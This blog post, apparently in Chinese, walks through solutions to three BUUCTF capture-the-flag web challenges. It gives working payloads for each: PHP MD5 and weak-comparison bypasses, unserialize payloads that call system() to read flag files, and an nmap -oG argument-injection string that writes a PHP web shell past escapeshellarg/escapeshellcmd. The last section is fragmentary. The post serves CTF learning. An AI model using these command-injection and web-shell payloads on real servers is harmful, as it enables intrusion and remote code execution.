您当前的位置: 首页 >  ar

葫芦娃42

暂无认证

  • 4浏览

    0关注

    75博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

buuctf刷题 4(php&Rce&escapeshellarg cmd组合漏洞)

葫芦娃42 发布时间:2022-05-05 14:05:11 ,浏览量:4

[MRCTF2020]Ez_bypass 1
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

代码审计,首先我们要满足,get传入的gg和id,md5加密后===,而gg≠id。这个见好多次了。我们传入数组的话,md5()会返回NULL,从而绕过。

构造?gg[]=1&id[]=2

 第二个条件,满足post传入的passwd不是数字,而==1234567。php弱类型比较,

所以构造 passwd=1234567a

得到flag。

[网鼎杯 2020 青龙组]AreUSerialz 1

发现是一道反序列化来执行函数的题目。

题目黑名单筛掉了好多危险函数,并且对传入的func进行了全转换为小写字母。但是Test类里也会调用函数gettime()。因此可以通过反序列化unseralize,来执行_construct()函数,进而执行我们的命令执行函数gettime().

因此我们构造:system("ls")

传入

?func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

 执行成功。

构造:system("cat $(find / -name flag*)") 打印所有文件名匹配flag*的文件

再传入

?func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}

得到flag。

[BUUCTF 2018]Online Tool 1
 -oG shell.php '

注意:

一. 两边加单引号,不加的话,两个函数执行后会变成

' -oG shell.php'

这是个字符串,并不是命令

二. 引号与代码命令之间加空格

如果不加,当两个函数执行并echo出来后就会变成:

\ -oG shell.php\\

文件名称是shell.php\\ 而不是shell.php

三. 一句话木马中参数shell不能用单引号闭合,要用双引号

因为 escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号

不一定只能用一句话木马,也可以直接用反引号` `来执行命令

?host=' -oG shell.php '

关注
打赏
1658420143
查看更多评论
0.0845s